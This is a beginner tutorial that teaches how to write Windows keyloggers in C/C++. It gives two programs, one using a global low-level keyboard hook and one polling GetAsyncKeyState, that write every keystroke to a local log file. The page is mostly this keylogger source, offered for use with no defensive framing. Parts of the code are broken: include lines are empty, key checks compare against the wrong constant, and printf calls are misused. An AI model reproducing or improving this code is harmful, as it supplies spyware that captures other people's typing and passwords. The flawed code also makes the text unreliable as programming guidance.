Keylogging fun for C/C++ Beginners

The examples below are for beginners in C/C++ with some basic knowledge of the windows - API.
1. Global hook
Hook: A hook is a point in the system message-handling mechanism where an application can install a subroutine to monitor the message traffic in the system and process certain types of messages before they reach the target window procedure.
Available hooks:
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
To install a hook you call this API-function:
HHOOK SetWindowsHookEx(
int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle to application instance
DWORD dwThreadId // identity of thread to install hook for
);

- idhook
Specifies the type of hook procedure to be installed. We choose “WH_KEYBOARD_LL” (13).
- lpfn
The LowLevelKeyboardProc hook procedure is an application-defined or library-defined callback function used with the SetWindowsHookEx function. The system calls this function every time a new keyboard input event is about to be posted into a thread input queue. The keyboard input can come from the local keyboard driver or from calls to thekeybd_event function. If the input comes from a call to keybd_event, the input was “injected”.

The HOOKPROC type defines a pointer to this callback function. LowLevelKeyboardProc is a placeholder for the application-defined or library-defined function name.
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);

- hMod
In this case, our instance handle.
- dwThreadId
Specifies the identifier of the thread with which the hook procedure is to be associated.
If this parameter is zero, the hook procedure is associated with all existing threads.
Now we know enough to create our first keylogger, using a global keyboard hook:
————————————————————————————————————————–

#include
#include
#define FILENAME “keylog.txt”

void CheckKey(int key);
LRESULT CALLBACK KeyboardHook(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // pointer to structure with message data
);

typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode; // virtual key code
DWORD scanCode; // scan code
DWORD flags; // flags
DWORD time; // time stamp for this message
DWORD dwExtraInfo; // extra info from the driver or keybd_event
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

HHOOK hHook;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow )
{

hHook = SetWindowsHookEx(13, KeyboardHook, hInstance , 0);
while (GetMessage(NULL,NULL,0,0)) ; // NOP while not WM_QUIT
return UnhookWindowsHookEx(hHook);
}

LRESULT CALLBACK KeyboardHook (int nCode, WPARAM wParam, LPARAM lParam )
{
if (nCode == HC_ACTION)
if (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)
CheckKey (((PKBDLLHOOKSTRUCT)lParam)->vkCode);
return CallNextHookEx(hHook, nCode, wParam, lParam);
}

void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,”a+”);
// translate virtual key code to ascii
// and write it to file..
fclose(pfile);
}

————————————————————————————————————————–
2.
GetAsyncKeyState()
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
SHORT GetAsyncKeyState(
int vKey // virtual-key code
);
- vKey
Specifies one of 256 possible virtual-key codes.
This is our second keylogger, now using GetAsyncKeyState() :
————————————————————————————————————————–
#include
#include

#define FILENAME "keylog.txt"
void CheckKey(int key);
void main()
{
while(1)
{
Sleep(10); // avoid 100% cpu usage

for(int key=8; key<=190; key++)
if (GetAsyncKeyState(key) == HC_ACTION)
CheckKey(key);
}
}

void CheckKey(int key)
{
// …
}

==========================================================================================================================
The CheckKey() function may look like :

void CheckKey(int key)
{
FILE *pfile = fopen(FILENAME,”a+”);

if (key==8)
fprintf(pfile,”%s”,”[del]“);
if (key==13)
fprintf(pfile,”%s”,”\n”);
if (key==32)
fprintf(pfile,”%s”,” “);
if (key==VK_CAPITAL)
fprintf(pfile,”%s”,”[CAPS]“);
if (key==VK_TAB)
fprintf(pfile,”%s”,”[TAB]“);
if (key==VK_SHIFT)
fprintf(pfile,”%s”,”[SHIFT]“);
if (key==VK_CONTROL)
fprintf(pfile,”%s”,”[CTRL]“);
if (key==VK_PAUSE)
fprintf(pfile,”%s”,”[PAUSE]“);
if (key==VK_ESCAPE)
fprintf(pfile,”%s”,”[ESC]“);
if (key==VK_END)
fprintf(pfile,”%s”,”[END]“);
if (key==VK_HOME)
fprintf(pfile,”%s”,”[HOME]“);
if (key==VK_LEFT)
fprintf(pfile,”%s”,”[LEFT]“);
if (key==VK_UP)
fprintf(pfile,”%s”,”[UP]“);
if (key==VK_RIGHT)
fprintf(pfile,”%s”,”[RIGHT]“);
if (key==VK_DOWN)
fprintf(pfile,”%s”,”[DOWN]“);
if (key==VK_SNAPSHOT)
fprintf(pfile,”%s”,”[PRINT]“);
if (key==VK_NUMLOCK)
fprintf(pfile,”%s”,”[NUM LOCK]“);
if (key==190 || key==110)
fprintf(pfile,”%s”,”.”);

if (key >=96 && key <= 105)
{
key -= 48;
fprintf(pfile,”%s”,&key);
}

if (key >=48 && key <= 59)
fprintf(pfile,”%s”,&key);

if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(pfile,”%s”,&key);
else
{
key = key +32;
fprintf(pfile,”%s”,&key);

}
}
}

fclose(pfile);
}

The virtual key code table -> google. Compiled with MS VC++ 6.0.
bugs:
sure.. let me know. :-)

Article written by AUTHOR_NAME

WRITE_ABOUT_YOURSELF